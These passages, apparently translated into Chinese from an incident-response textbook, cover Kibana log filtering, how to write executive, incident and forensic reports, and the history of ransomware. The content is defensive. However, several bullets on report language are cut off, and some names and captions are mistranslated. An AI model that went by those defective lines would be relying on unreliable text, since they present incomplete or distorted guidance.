- 从这里,点击Discover。在右上角,设置日期为合适的时间范围。Kibana 默认显示过去 15 分钟的数据。对于离线数据,设置适用的时间范围,或者直接点击过去 2 年,如下所示:

图 12.24 – Kibana 的 Discover 仪表板
- Kibana 功能丰富,提供了广泛的数据分析选项。这包括使用自定义查询、事件 ID、关键字和 XML 字符串。在这种情况下,响应者将专注于事件 ID 4104,该事件 ID 指示远程运行 PowerShell 命令。然后,查看在与 DeepBlueCLI 输出关联的 IP 地址上添加 XML 筛选器。在这种情况下,选择
4104并单击 保存。这将运行命令:

图 12.25 – 根据事件 ID 筛选
- 这将产生 176 个总共的带有该事件标识的条目。为了进一步减少这个数量,让我们继续添加第二个用于 XML 数据的筛选器,
192.168.191.253:

图 12.26 – 根据 IP 地址筛选
这样就产生了两个结果。对结果的分析确认了在 DeepBlueCLI 中显示的结果。
- 看到是否有与该 IP 地址相关的额外结果可能会有所帮助。通过深入研究具有事件 ID 600 的条目,可以看到额外的 PowerShell 条目显示,这是 PowerCat 的一个版本,PowerCat 是一款具有类似于流行黑客工具 Netcat 功能的 PowerShell 脚本:

图 12.27 – Meterpreter 事件条目
Skadi 结合 CyLR.exe,为响应者提供了从涉及事件的几个系统中获取和分析日志文件的能力。通过特定的事件 ID 或关键字进行透视,使 Skadi 成为在识别事件调查中重要的特定日志条目的强大工具。通过分析这些事件,我们可以看到攻击者能够远程执行 PowerShell 并安装远程网络服务。
摘要
在日志分析的核心是一种假设,即攻击者的行动会留下痕迹。正如在物理世界中一样,响应者能够看到这些痕迹的能力基于所使用的工具和技术。本章探讨了日志和日志管理的基础元素,以及诸如 SIEM 之类的工具来聚合和审查这些日志,最后还审视了用于检查源自 Windows 操作系统的最常见日志的工具和技术。本章仅仅是浅尝辄止,介绍了日志在事件调查中起着重要作用的一部分。
符合理解对手攻击痕迹主题的要求,下一章将探讨恶意软件分析在事件响应中的作用。
问题
回答以下问题来测试你对本章的了解:
-
为了有效的日志管理,组织应将日志记录作为正常的业务实践。
-
True
-
False
-
-
下列哪项不是 SIEM 的功能之一?
-
日志保留
-
自动响应
-
Alerting
-
日志聚合
-
-
下列哪个不是 Elastic Stack 的一部分?
-
Kibana
-
Elasticsearch
-
日志响应
-
Logstash
-
-
洛卡尔交换原理指出,当两个物体相互接触时,它们会留下痕迹。
-
真
-
假
-
进一步阅读
有关本章所涵盖主题的更多信息,请参考以下资源:
-
Windows 安全日志事件:
www.ultimatewindowssecurity.com/securitylog/encyclopedia/ -
Graylog:
github.com/Graylog2 -
Skadi:
github.com/orlikoski/Skadi -
应用事件响应 Windows 事件日志分析:
forwarddefense.com/media/attachments/2021/05/15/windows-event-log-analyst-reference.pdf
第十三章:撰写事故报告
事件响应团队的功能与消防部门相同。两个团队都需要通过培训掌握各自的技术、工具和实践,并能在火灾或事件发生时随时做出反应。在对火灾进行响应时,消防员会记录笔记并记录他们的行动,确保关键决策被记录,个人贡献被注意到。一旦火势得到控制,他们会从残骸中查找火灾的原因和起源。一旦准备好适当的文档,消防部门会进行事后行动审查,评估他们的表现并寻找改进途径。其他报告允许消防部门和安全专家更新建筑法规,并提高建筑物在火灾发生时的生存能力。
事件响应团队利用了类似的工作流程。在事件期间,记录笔记并记录行动。从系统中获取证据,并以法医学的方式保留。利用事件期间获得的笔记、观察和证据进行根本原因分析。信息技术人员利用这种根本原因分析来修补漏洞并进一步加固系统。最后,团队进行自己的事后行动审查,详细列出事件序列,并对团队的流程、工具和技术进行评价,并对事件响应计划进行任何更正。
为了最大化根本原因分析和事后行动简报的好处,事件响应者需要确保所有操作都以适当的方式记录下来。在考虑 IT 基础设施未来状态时,高级领导和决策者需要使用准备好的多个文档。
为了更好地准备响应者起草必要的文档,将讨论以下主题:
-
文档概述
-
执行摘要
-
事件调查报告
-
司法报告
-
准备事件和司法报告
文档概述
这将是事故文档的概述。在本节中,我们将看看要捕捉哪些数据,不同的受众,以及如何正确地来源报告内容。
与事故相关的文档有多种形式。任何文档的长度通常取决于事故类型。简单的事故可能在现有的票务系统中非正式记录,调查时间很短,影响有限。然而,对于更复杂的事故调查,例如导致机密信息(如医疗记录或信用卡信息)泄露的数据漏洞,可能需要详细的书面报告和支持证据。
要记录的内容
在记录事件时,判断应该记录什么并不是非常困难。遵循五个W(谁、什么、哪里、何时和为什么),有时还包括如何,是考虑在事件发生过程中记录内容时的一个很好的基础。当讨论文档时,特别是讨论安全事件的法律影响时,另一个好的智慧就是,如果你没有写下来,它就没有发生。这句话用来强调正确的文档记录通常包含尽可能详细的信息,以便事件响应分析员提供。这些分析员可能会参与到最终涉及民事诉讼的事件中。司法程序通常进展缓慢,分析员可能在 18 个月后被召唤到证人席上,而这期间可能已经发生了 10 起其他事件。拥有尽可能详细的事件报告将帮助分析员能够以正确的方式重建事件。
使用这五个 W(和一个 H)结构记录文档的一个极好的例子是查看数字取证任务,例如硬盘镜像。在第八章中,当我们讨论对嫌疑硬盘进行镜像的实践时,部分涉及了适当的文档记录。以下是该事件的更详细记录:
-
谁:这是最容易记录的细节。简单地说,谁参与了这个过程?例如,参与的人是分析员简·史密斯。
-
何时:记录镜像开始的日期和时间,以及结束的日期和时间。例如,镜像过程在 2022 年 6 月 16 日 21:08 UTC 开始,在 2022 年 6 月 16 日 22:15 UTC 结束。时间至关重要,您应该确保在整个调查过程中使用标准化的时区,并在报告中加以说明。
-
哪里:应该提供详细的地点信息,例如某个办公室。
-
什么:所执行的动作;例如,获取内存或防火墙日志,或对硬盘进行镜像。
-
为什么:为所执行的动作提供合理的解释有助于理解该动作为何被执行。
-
如何:应包括对动作执行方式的描述。此外,如果事件响应团队在其计划中使用了操作手册或标准操作程序,也应包括此内容。任何偏离标准操作程序的行为也应以类似方式记录。
将所有这些信息结合起来,可以在报告中填写以下示例语言:
2022 年 6 月 16 日,分析员 Jane Smith 作为调查的一部分,抵达位于美国 Anytown Maple 街 123 号企业办公园区的 217 号办公室。到达后,Smith 接管了戴尔笔记本电脑,资产标签号为#AccLT009,序列号为#7895693-862。来自防火墙 IDS/OPS 的警报显示该笔记本电脑与一个已知的指挥与控制服务器进行了通信。为了确定该电脑是否感染了恶意软件,决定对其进行镜像处理。2022 年 6 月 16 日 21:08 UTC,Smith 按照标准操作程序 IR-002 使用实时镜像技术对硬盘进行镜像。该过程于 22:15 UTC 完成。
本条目提供了足够的细节以重建发生的事件。结合其他文档,如照片和链条管理,分析员能够清楚地了解整个过程及其结果。
文档类型
没有统一的标准规定如何记录事件,但有几个明显的分类。如前所述,文档的深度通常取决于事件的类型、规模和范围;然而,一般来说,以下几类适用:
-
故障单系统:大多数企业组织都有现成的故障单系统,用于跟踪系统故障和当前网络基础设施中常见的其他问题。这些系统会捕获与事件相关的大量数据。通常,一个条目会记录开始和结束的日期与时间、最初报告的人员、执行的操作,并提供一个备注区域。故障单系统的一个主要缺点是它们最初是为支持企业基础设施的一般操作而设计的。因此,更复杂的事件将需要比这些系统所能提供的更多的文档。因此,这些系统通常仅用于处理小规模事件,如孤立的恶意软件感染或其他能迅速解决的小事件。
-
安全编排与自动化(SOAR)平台:一些组织认识到需要专门的事件响应平台,并开发了支持事件响应团队的应用程序和其他基础设施。这些事件响应编排平台允许分析员输入数据、附加证据文件、与其他团队成员协作,并调用外部资源,如恶意软件逆向工程和威胁情报馈送。
市面上有几种这类平台可供选择,既有商业平台,也有免费软件。这些平台的主要优势是可以自动捕获信息,例如日期、时间和分析员的操作。
另一个明显的优势是,它们可以限制特定群体查看信息。在票务系统中,有可能出现未经授权的人员查看到组织可能希望保密的细节。而拥有协调系统可以提供一定程度的保密性。另一个关键优势是团队成员可以看到采取了哪些行动以及获得了哪些信息。这减少了通话数量和误解的可能性。
-
书面报告:即使在使用自动化平台的情况下,某些事件仍然需要进行详细的书面报告。通常,这些书面报告可以分为三种主要类型。以下每种类型将在本章后续内容中展开说明:
-
执行摘要:执行摘要是一个一到两页的报告,旨在概述事件的高层次要点,供高级管理人员参考。通常,简短的事件概述、根本原因(如果能够确定)以及修复建议就足够了。
-
事件调查报告:这是组织内多方人员都会查看的详细报告。该报告包括调查的详细情况、根本原因分析,以及防止事件再次发生的详细建议。
-
取证报告:最详细的报告是技术报告。当对日志文件、捕获的内存或磁盘镜像进行取证检查时,会生成这类报告。这些报告通常非常技术性,因为它们常常会被其他取证人员审查。报告内容可能很长,因为工具输出和证据部分(如日志文件)通常会被包括在内。
-
了解构成事故报告的各类内容,可以帮助响应人员妥善组织资料。即使是较小的事件,也会生成文档,这意味着响应人员可能会感到不堪重负。再加上数据来源繁多,报告过程可能变得十分繁琐。为了让流程更加顺畅,响应人员应该准备好在事件发生之初就处理各类内容,并相应地组织文档。
来源
在准备报告时,无论事件规模大小,都有多个数据来源需要包含在文档中,从仅需在票务系统中输入一个条目的小型事件,到需要广泛事故和取证报告的复杂数据泄露。以下是一些常见的数据来源:
-
个人观察:用户可能拥有与案件相关的信息。例如,他们可能点击了一个来自合法地址的邮件中的文件。其他时候,分析人员可能会观察到系统中的某些行为,并记录下来。
-
应用程序:某些应用程序会生成日志文件或其他可能需要包含在报告中的数据。
-
网络/主机设备:本书的大部分内容都涉及从企业环境中的多个系统获取和分析证据。这些系统中的许多还允许输出报告,可以与整体事件或取证报告一起包含。
-
取证工具:取证工具通常具有自动化报告功能。这可以是对一些操作的概述,正如前几章所讨论的那样,或者是可以包含在取证报告中的实际输出,如文件哈希值。
无论材料来源何处,一个好的规则是尽可能多地在报告中捕捉和包含信息。拥有更多信息总比信息不足要好。
受众
准备文档时,最后一个需要考虑的问题是,谁会阅读事件报告而不是详细的取证报告。通常,以下是可能阅读与事件相关报告的部分人员,这些人员既包括组织内部,也包括外部人员:
-
高层管理人员:高调的事件可能会引起首席执行官(CEO)或首席财务官(CFO)的关注,尤其是当事件涉及媒体时。执行摘要可能就足够了,但如果高级领导要求更详细的报告和在事件期间及结束时的简报,请不要感到惊讶。
-
信息技术人员:这些人可能是最关注事件响应分析人员发现的内容的人。他们很可能会非常认真地审查根本原因分析和补救建议。
-
法律:如果预计会有诉讼或其他法律行动,法律部门将审查事件报告,以确定是否存在安全漏洞或需要澄清的相关程序。如果需要进行修订,请不要感到惊讶。
-
市场营销:市场营销部门可能需要审查执行摘要或事件报告,以便在发生外部数据泄露时向客户传达信息。
-
监管机构:在受监管的行业,如医疗保健和金融机构,监管机构通常会审查事件报告,以确定组织是否存在潜在的责任。如果泄露的机密记录数量较多,或者看起来组织存在疏忽,可能会对其进行罚款。
-
网络保险公司:网络保险是一项近年来应对勒索软件爆发而发展的新兴业务。网络保险公司可能会要求检查分析师或响应人员的任何书面报告,以配合客户提交的索赔。
-
执法:某些事件需要执法部门介入。在其他情况下,执法部门可能希望捕捉与调查相关的任何 IOC(指标)或其他数据点,因为这些信息可能有助于未来潜在事件的处理。在这些情况下,执法机构可能需要事件和取证报告的副本进行审查。
-
外部支持:有时需要外部取证或事件响应支持公司。在这种情况下,现有的报告将大大帮助这些人员迅速了解情况。
了解受众能够帮助事件响应分析员了解谁会阅读他们的报告。需要明白的是,报告需要清晰简洁。此外,技术细节可能需要为没有相关知识或经验的受众进行一些澄清。
执行摘要
高层管理人员需要了解事件的关键细节,而不需要查看所有的技术或调查材料。本节将探讨如何准备一份有效的执行摘要,捕捉高层管理人员及其他关键利益相关者所需的细节和建议。
如前所述,执行摘要捕捉的是事件的宏观视角。这包括事件的总结、根本原因的描述以及为修复问题和防止类似事件再次发生所提出的建议。在金融机构或医院等有强制报告要求的受监管行业中,最好说明是否需要通知,如果需要,暴露了多少机密记录。这可以帮助高层管理人员理解事件的深度,并确保适当的法律和客户沟通措施得到处理。
这个报告的名称可能会有些误导。人们通常认为该报告仅面向 C 级高管。虽然这是报告的主要受众之一,但还有其他群体通常也需要阅读执行摘要。法律和营销部门可能需要至少对相关事实有一个粗略的了解,以便能够准确地制定向客户或第三方的沟通方案。其他外部监管机构也可能需要在完成完整的事件和技术分析报告之前获得事件的摘要。
让我们扩展一下之前关于执行摘要应包含哪些内容的讨论。虽然没有硬性规定,但以下内容是编写摘要的良好基础:
-
事件概述:这是一个简短的,可能只有半页的事件摘要,概述事件发生期间的关键事件。它不是逐小时的完整记录,而是涵盖了关键事件,例如最初的检测、事件被控制的时间、威胁完全从环境中清除的时间,以及最终操作恢复正常的时间。
-
图形时间轴:图形时间轴有助于将关键事件放置在适当的日期和时间。保持图形在 8 到 12 个具体条目之间,这些条目应能捕捉到高层次的事件。
-
根本原因概述:事件的根本原因将在事件调查报告中详细记录,但简短的概述对高层了解事件性质很有帮助。这可以是简短的陈述、几句话或一段话。例如,以下内容足以作为根本原因陈述:
事件调查确定,一名仍然未知的对手利用一个脆弱的 Web 服务器,使用特别制作的漏洞利用程序。由此,对手能够通过网络配置错误进入企业网络,并在系统上执行勒索软件 。
-
高层建议:应包括一张表格,其中列出战略和战术建议,并与事件调查报告相关联。
-
额外报告:简要说明将要准备的任何其他文档。例如,作者可能想包含一段说明,指出事件和相关的取证报告正在准备中,预计将在两周内完成。这让读者知道,如果他们需要额外的背景或细节,相关资料即将提供。
从工作流程的角度来看,执行摘要通常是关于事件的第一份书面文档。例如,一个需要两周时间来分析和修复的重大事件,将产生大量文档。执行摘要可以作为临时措施,用来弥补编写完整报告所需的时间。这使得领导层和其他利益相关者能够制定信息发布、立即对环境进行调整并做出其他决策,而不必等待完整报告。
准备执行摘要时有一些指导原则。首先,保持语言的高度简洁。特定的技术术语可能会让某些读者感到困惑,因此语言应尽可能非技术性。第二,保持简短,并为后续文档提供引导。第三,讨论应保持高层次,关注对组织的宏观影响。通常,两页是最大限制。在某些情况下,使用 PowerPoint 演示文稿代替书面摘要可能更有益。
事件调查报告
一次全面的事件调查涉及由各类人员执行的各种行动。这些行动会被记录在叙事报告中,报告详细描述了调查的顺序,并提供了事件的时间线。
事故报告可能是组织内外范围最广的文档。尽管会有一些技术技能有限的人会审查这份报告,但使用正确的术语和相关数据仍然很重要。对于那些可能感到困惑的人,总会有时间解释技术细节。
以下是一些应当捕捉并纳入报告的关键数据:
-
背景:背景部分概述了从发现到最终处理的整个事件过程。事件的背景应包括 CSIRT 首次得知事件的方式以及最初可用的信息。接下来,应该得出关于事件类型和严重程度的结论。报告还应包括对系统的影响,以及可能已泄露的机密信息。最后,它应概述采取了何种遏制策略,并且系统是如何恢复到正常运行状态的。
-
事件时间线:当报告从背景部分转向事件时间线时,重点将更加关注细节。事件时间线最好采用表格格式。每个执行的动作都应该在时间线中记录一项条目。下表展示了应包括的详细程度:
| 日期 | 时间(UTC) | 描述 | 执行者 |
|---|---|---|---|
| 6/17/22 | 19:08 | 防火墙 IPS 传感器警告可能的 C2 活动。SOC 将其上报给 CSIRT 进行分析和响应。 | Bryan Davis |
| 6/17/22 | 19:10 | 检查了防火墙日志,并确定主机 10.25.4.5 已连接到已知的恶意软件 C2 服务器。 | John Q. Examiner |
| 6/17/22 | 19:14 | 使用 Carbon Black EDR 隔离了 10.25.4.5 端点,防止其继续进行网络通信。 | John Q. Examiner |
| 6/17/22 | 19:16 | 通过 Velociraptor 从 10.25.4.5 检索预取文件以进行分析。 | John Q. Examiner |
表 13.1 – 事件时间线日志
时间线中的一个关键方面需要牢记的是,条目将按顺序排列在 CSIRT 行动之前。在之前的表格中,预取文件将被分析,目的是展示恶意软件的执行。这些条目显然会出现在 CSIRT 活动之前。
该日志可能包含多页条目,但理解事件的顺序和某些操作所需的时间至关重要。这些信息可以用于重建事件的顺序,同时也可以通过审查响应和处理时间来改进事件响应流程。
-
网络基础设施概览:如果发生的事故涉及跨网络的多个系统,良好的做法是包括受影响系统的网络拓扑图,以及系统如何连接和相互通信的概述。其他信息,如与事故直接相关的防火墙规则,也应包括在内。
-
取证分析概览:对于包括日志、内存或磁盘驱动器取证分析的事故,应在事故报告中包括该过程的概述及结果。这使得利益相关者能够理解执行了哪些类型的分析,以及这些分析的结果,而无需深入了解数字取证的技术细节。分析人员应确保通过取证分析得出的结论被纳入此部分。如果事故响应团队广泛使用了取证技术,这些内容可以在本章稍后的独立报告中记录。
-
遏制措施:事故响应团队的关键任务之一是在检测到事故后,限制对其他系统的损害。本报告的这一部分将说明采取了哪些类型的遏制措施,例如关闭系统、断开与网络的连接或限制其访问互联网。分析人员还应确保这些措施的有效性被纳入报告中。例如,如果通过访问交换机管理网络访问变得困难,且必须采取手动处理方式,了解这一事实将帮助 CSIRT 创建新的流程,简化此操作并限制受损主机访问网络的其他部分。
-
发现/根本原因分析:报告的核心部分对于高级领导层和信息技术人员最为重要的是发现内容,以及如果已发现的话,根本原因。报告的这一部分应全面并包含事件时间线的相关内容。应指出在主机、软件、硬件和用户中,哪些因素导致了事故的负面或正面结果。如果已确定攻击者使用的具体漏洞或被利用的漏洞,也应包括在内。本部分报告的总体目标是描述威胁是如何破坏基础设施的,并为后续的修复和建议提供可信依据。
-
补救措施:如果在事件发生期间采取了补救漏洞或其他不足的措施,应将其纳入报告。这使得 CSIRT 能够全面向其他 IT 人员简报所做的更改,以限制对网络其他部分的损害,从而将这些更改纳入正常的变更控制程序,并进行验证。这确保这些更改在未来不会对其他系统造成不良影响。
-
最终建议:报告中应包括对基础设施改进、漏洞修补或其他控制措施的任何建议。然而,这些建议应基于观察结果和对根本原因的深入分析。
-
定义:报告中应包括任何能帮助技术人员理解事件的特定定义。技术术语,例如服务器消息块(SMB),如果某个系统存在对 SMB 协议漏洞的利用,也应包含在报告中。
需要特别注意的是,这份报告最有可能传递到组织内部和外部的各个部门。报告还应经过至少一次质量控制审查,以确保其没有错误或遗漏,并且能够被目标受众阅读。
法医报告
数字证据的审查会产生大量的技术细节。调查过程中得出的观察结果和结论需要通过数据来支撑。技术报告捕捉了关于数字证据分析的相关细节,这些细节构成了整体事件报告的核心。
法医报告是三类主要报告中技术性最强的一种。分析师应该尽量保持技术的准确性,而不是为了非技术人员而简化报告。分析师还应意识到,如果法医报告能够确定特定个体(如恶意内鬼),它对整体事件报告至关重要。
在已经识别出犯罪嫌疑人或事件可能引发法律后果的情况下,法医报告将会受到严格审查。因此,分析师必须非常仔细地完成报告,确保其准确和全面,具体要求如下:
-
审查员的背景/经历:对于法律人员或外部审计员等受众,了解法医分析师的背景和资格非常重要。背景应包括正式教育、培训、经验以及分析师在法庭上的经历概述,特别是是否被认定为专家证人。如果预计该报告将作为法庭案件的一部分使用,可以将完整的简历附加到法医报告中。
-
使用的工具:报告应包括一个完整的硬件和软件工具列表,这些工具在分析证据时被使用。此信息应包括硬件的品牌、型号和序列号,例如物理写保护器,或任何软件的名称和版本号。报告中还可以进一步补充所有工具在使用前都已更新的信息。
-
证据项:全面的证据项列表应包括分析师在事件中收集的任何磁盘镜像、内存捕获或日志文件。应包括收集证据的日期、时间、地点和分析师的姓名。如果是物理证据,可能还需要附上证据链表格。如果证据项很多,报告的这一部分可以作为附录提供,以便更好地引导读者阅读。
-
取证分析:在这一部分,分析师将非常具体地说明在调查过程中采取的行动。诸如日期和时间等细节至关重要,以及所采取行动的详细描述。
-
工具输出:在前面的章节中,已经介绍了许多用于调查事件的工具。其中一些工具,如 Volatility 或 Rekall,无法生成报告。因此,分析师有责任捕捉这些工具的输出。分析师可以包含这些命令行工具的屏幕截图或文本输出,并应将其纳入报告中。如果这些工具产生了与事件相关的输出,这一点尤其关键。
事件报告模板
关于如何撰写事件报告,没有明确和简洁的指导。尽管主要信息是统一的,但对于如何编写报告以及报告应是什么样子,缺乏具体的说明。对于刚入门的人来说,一个不错的模板是 Lenny Zelster 提供的模板,下载地址为zeltser.com/media/docs/cyber-threat-intel-and-ir-report-template.pdf。这个模板可以作为一个很好的起点。
其他工具,如 Autopsy,可以输出报告以供纳入取证分析报告。例如,要运行前一章节中进行的分析的报告,请执行以下步骤:
-
在 Autopsy 中打开案件。
-
在顶部栏,点击生成报告。这将打开以下窗口:

图 13.1 – Autopsy 报告生成
根据报告类型,某些信息需要输入。在此案例中,选择了HTML 报告,并需要设置头部和尾部的值。
- 输入信息后,点击在第十一章中使用的
Laptop1Final.E01文件:

图 13.2 – 死因报告生成数据源选择
- 在下一屏幕上,分析员可以选择报告中要包含的结果类型。例如,如果分析员只想报告标记的结果,可以选择该数据集。在这种情况下,所有数据都将被包含,然后点击完成:

图 13.3 – 死因报告生成结果选择
这将开始输出分析的过程:

图 13.4 – 死因报告生成进度
一旦输出完成,它将被保存在与相关案件文件关联的Reports目录中。分析员可以在这里审查信息。其他技术,如打印为 PDF 文件,允许分析员将输出直接附加到报告中。分析员应该熟悉他们的工具集,因为能够直接从工具中导出报告将减少错误,并且在审查时表现得更好。以下是报告的三个重要方面:
-
结论:根据证据得出的结论可以包含在报告中。例如,如果分析员通过将哈希值与已知的恶意软件匹配,判断某个特定的可执行文件是恶意软件,且该恶意软件窃取凭证,那么他们完全有权得出这个结论。然而,分析员应谨慎推测,并且不要在没有充分证据支持的情况下得出结论。响应人员应小心,绝不做出假设或在报告中加入个人观点。
-
定义:由于法医报告非常技术性,包含必要的定义至关重要。内部利益相关者,如法律代表,通常会审查报告,如果预期将采取法律行动,他们可能需要进一步澄清一些技术细节。
-
附件:那些输出内容太长,无法包含在报告正文中的工具输出可以作为附录包含。例如,如果 Volatility 命令的输出有几页长,但最相关的数据只是其中的一行;分析员可以将这一行提取出来并包含在法医分析部分,同时明确说明完整的输出位于附录中。重要的是要将工具的完整输出包含在报告中,以确保其经得起审查。
取证报告的一个关键因素是,在报告作为事件文档的一部分发布之前,必须进行同行评审。这是为了确保所执行的操作、分析和结论与证据相符。这也是分析师应尽可能包括工具输出数据或通过审查所得到的数据的原因之一。如果取证报告进入法庭,分析师需要明白,一个同样或更具资格的取证专家可能会审查报告并对工作提出批评。另一个响应人员或分析师应能够审查报告,查看响应人员的工作描述,并得出相同的结论。知道这一点可能会使分析师更专注于准备他们的报告。
无论一个组织是否选择将文档分开处理或准备一份主报告,报告中都应该包含一些特定的数据。了解这些数据的构成,可以帮助事件响应人员确保在事件调查过程中,正确地做笔记并记录他们的观察结果。如果未能做到这一点,可能意味着所采取的任何行动或观察到的内容未被记录在报告中。此外,如果案件最终进入法庭,证据可能会被排除。与其少做记录,不如多做记录。
准备事件和取证报告
报告的内容可以来自各种来源和形式。将这些信息整合在一起,同时准备实时的笔记记录,有助于确保所有相关事实都被捕捉并报告。
为了全面讨论报告过程,还有两个额外的主题影响整体报告流程。这两个话题分别是做笔记和确保报告中使用正确语言的方式。分析师应特别关注这两个主题,因为它们直接影响报告的质量以及报告的使用方式。
做笔记
经常被忽视,做笔记是分析和报告过程中至关重要的一部分。未能在分析过程中实时做笔记,将使得重新构建事件的详细信息变得不可能,或者在某些情况下,分析师将需要重复过程以捕获必要的数据和证据。
正确的笔记应包括什么内容需要记录部分中提到的具体事项。例如,分析师正在对嫌疑系统的 Prefetch 文件进行检查。以下是一个样本笔记条目:
在 20220617T19:13 UTC 时,通过预取解析器发现系统 DS_453.local 的预取条目,表明在 20220617T02:31 UTC,执行文件 7dbvghty.exe 从 C:\ 目录运行。
前面的条目包含了制作报告详细部分所需的所有必要数据。事实上,任何阅读该笔记条目的人都能重建分析师所做的工作。以下的事件或法医报告条目可以根据该笔记编写:
在 20220617T19:13 UTC,G. Johansen 对系统 DS_453.local Prefetch 文件进行了分析,利用 Prefetch 解析器确定是否执行了任何潜在恶意程序。分析表明,在 20220617T02:31 UTC,文件名为 7dbvghty.exe 的可执行文件从系统 C:\ 目录执行。
在调查过程中,记笔记的重要性不可低估。分析师可能在多个系统上进行分析,并从各种来源获取证据。想象一下,在 12 小时内对 20-30 个系统进行日志审查。在这种情况下,跟踪所有关键数据点和发生的操作几乎是不可能的。
在事件发生时,记笔记有多种选择。有简单的云解决方案,比如 Google Docs,可以利用,但需要注意保持适当的安全性。也可以使用简单的 Word 文档或文本编辑器。此外,还有专门设计用于记笔记的平台。在本例中,我们将看看 Monolith Forensics 的 Monolith Notes。这个应用程序可以在分析机上本地运行,如果团队需要一个协作环境,还有一个专业版,可以部署在云环境中或本地。在这种情况下,我们将查看该工具的开源版本,网址为 monolithforensics.com/case-notes/。
该下载适用于 Windows 或 macOS 操作系统,设置简单。下载文件并执行。一旦安装完成,打开应用程序,下面的屏幕将出现:

图 13.5 – Monolith Notes 主屏幕
作为示例,我们将继续使用该应用程序来汇总笔记,并展示如何导出这些笔记:
- 点击 新建案件,将打开以下窗口:

图 13.6 – 新案件信息
- 输入与案件相关的详细信息。Monolith Notes 可以同时处理多个案件。在此实例中,输入以下信息,完成后点击 提交 按钮:

图 13.7 – 新案件信息
- 要从主屏幕添加笔记,点击 添加笔记 按钮,打开以下自由文本字段:

图 13.8 – 自由文本笔记字段
- 在前面的屏幕中,分析师可以添加自由文本笔记以及屏幕截图。在这个例子中,输入了一个可疑笔记本电脑的 Prefetch 条目的屏幕截图,并附上一条简短的说明。完成后,点击 提交,笔记即被记录:

图 13.9 – 完整的笔记
Monolith Notes 的一个便捷功能是能够对每个笔记条目应用特定标签。例如,在前一截图中,应用的标签是 Execution,它与 MITRE ATT&CK 框架中的一个技术相关(MITRE ATT&CK 框架将在 第十五章 中详细讨论)。这些标签可以在添加新笔记时应用。标签的优势在于,当分析师需要回过头查看与应用程序执行相关的所有证据项目时:

图 13.10 – Monolith Notes 筛选器
最后,Monolith Notes 可以将笔记导出为 Microsoft Word 文档。这使得移动屏幕截图以及剪切和粘贴特定数据(如时间戳、代码块或其他工具输出)变得更加容易。
报告语言
为了完善报告部分的讨论,重要的是要特别说明如何构建报告的语言,尤其是法医报告。执行摘要和事件报告通常会采用叙述性的语气,具体来说,描述事件发生的步骤和顺序。真正的根本原因分析才会根据证据给出结论。
技术报告中的陈述可以分为三类,这三类陈述描述了数据以及最终结论是如何呈现的:
-
C:\Windows\Prefetch目录。 -
C:\Windows\Prefetch目录。Prefetch 目录中的条目表明某个可执行文件 已被执行。 -
C:\Windows\Prefetch目录。Prefetch 目录中的条目表明某个可执行文件已被执行。这表示在 20220617T1913 UTC 时,sample.exe* 文件被执行的可能性非常高。*
除了所使用的语言外,分析师在准备报告时还应确保遵循一些额外的指南:
-
基于数据的结论:正如我们在制定评估性陈述时看到的那样,分析师得出结论是可以的,但必须有数据支持。任何在分析及随后的报告过程中得出的结论,都需要有坚实的数据来支持。
-
PSEXEC.exe或远程桌面协议与被攻破的凭据一起使用,但由于缺乏日志记录,他们无法确定精确的横向移动方法。 -
可重复性:一份全面且写得好的技术报告应该是那种,在给定相同证据的情况下,分析员在没有事先了解该事件的前提下,也能重建你的发现。这对于执法部门或需要作证的分析员尤其重要,因为报告及相关证据将提供给另一方。
报告中使用的语言与其中所有分析工作同样重要。写得不好的报告,结论错误且语言不当,可能给读者留下负面印象。如果证据将作为民事或刑事诉讼的一部分被提交,可能所有的工作都不能被接受。分析员应该在掌握技术技能的同时,培养良好的记笔记和写作能力。
摘要
事件响应团队在准备和执行处理事件所需任务方面投入了大量精力。同样重要的是要适当记录事件,以便决策者和事件响应团队自身能够清楚了解所采取的行动以及事件发生的原因。正是通过使用这些文档并分析根本原因,组织可以提高其安全性,并降低未来发生类似事件的风险。事件响应者和取证分析员关注的一个重要领域是恶意软件在事件中的作用。
问题
请回答以下问题,以测试你对本章的理解:
-
什么不属于取证报告的内容?
-
使用的工具
-
检查员简历 / CV
-
注意事项
-
展品清单
-
-
在准备事件报告时,需要考虑到阅读该报告的受众。
-
正确
-
错误
-
-
以下哪项是可以在准备事件报告时利用的数据源?
-
应用程序
-
网络/主机设备
-
取证工具
-
上述所有
-
-
事件响应者绝不应将根本原因分析包含在事件报告中。
-
正确
-
错误
-
深入阅读
请参考以下内容,了解本章所涵盖的更多信息:
-
数字取证报告写作简介:
digital-forensics.sans.org/blog/2010/08/25/intro-report-writing-digital-forensics/ -
理解数字取证报告:
www.legalexecutiveinstitute.com/understanding-digital-forensics-report/ -
数字取证报告,Ryan Nye:
rnyte-cyber.com/uploads/9/8/5/9/98595764/exampledigiforensicsrprt_by_ryan_nye.pdf -
磁力取证技术层面发现指南:
www.magnetforensics.com/resources/reporting-findings-at-a-technical-level-in-digital-forensics-a-guide-to-reporting/
第四部分:勒索软件事件响应
勒索软件是一种持续的威胁,需要结合前三个部分的内容。接下来的两个章节将重点讲解如何使用之前章节中提到的工具和技术来应对勒索软件事件。同时,还会补充一些额外的工具和技术,帮助调查勒索软件事件。
本部分包括以下章节:
-
第十四章**,勒索软件准备与响应
-
第十五章**,勒索软件调查
第十四章:勒索病毒准备与响应
随着加密货币的普及,威胁者拥有了从受害者那里提取赎金的必要工具,而无需担心被捕。这直接促成了勒索病毒的兴起,这是一种攻击方式,威胁者通过部署加密受害者文件的恶意软件并勒索赎金,让受害者支付以解锁文件。过去 10 年来,更加复杂的工具和技术的发展使得勒索病毒攻击影响到政府、大型医疗机构和大企业,所有这一切都是为了从受害者身上榨取最大赎金,丰富各种威胁者。
鉴于勒索病毒的广泛传播,事件响应人员很可能需要应对这些类型的攻击。为了更有效地应对涉及勒索病毒的事件,分析人员应该熟悉相关的战术和技术,以及相应的响应行动,以便在发生攻击时能够迅速恢复运行。
在本章中,我们将重点讨论以下背景要素:
-
勒索病毒的历史
-
Conti 勒索病毒案例研究
-
正确的勒索病毒准备
-
根除与恢复
在打下坚实的基础之后,我们将在下一章中探讨具体的调查与分析技术。
勒索病毒的历史
尽管自 1980 年代末以来就存在加密数据的恶意软件版本,但目前勒索病毒的爆发与加密货币的发展密切相关。加密货币的出现使得勒索病毒威胁者能够匿名发送和接收数字货币,这让他们能够在保持匿名的同时执行攻击并从受害者那里提取赎金。在过去的十年中,这种攻击形式在复杂性上经历了进化,但在一些核心战术、技术和程序(TTPs)方面基本保持一致,比如初始感染、传播勒索病毒以及加密用户文件,目的是为了获取解密密钥的赎金。我们将在下图中简要讨论这一演变中的一些关键变种:

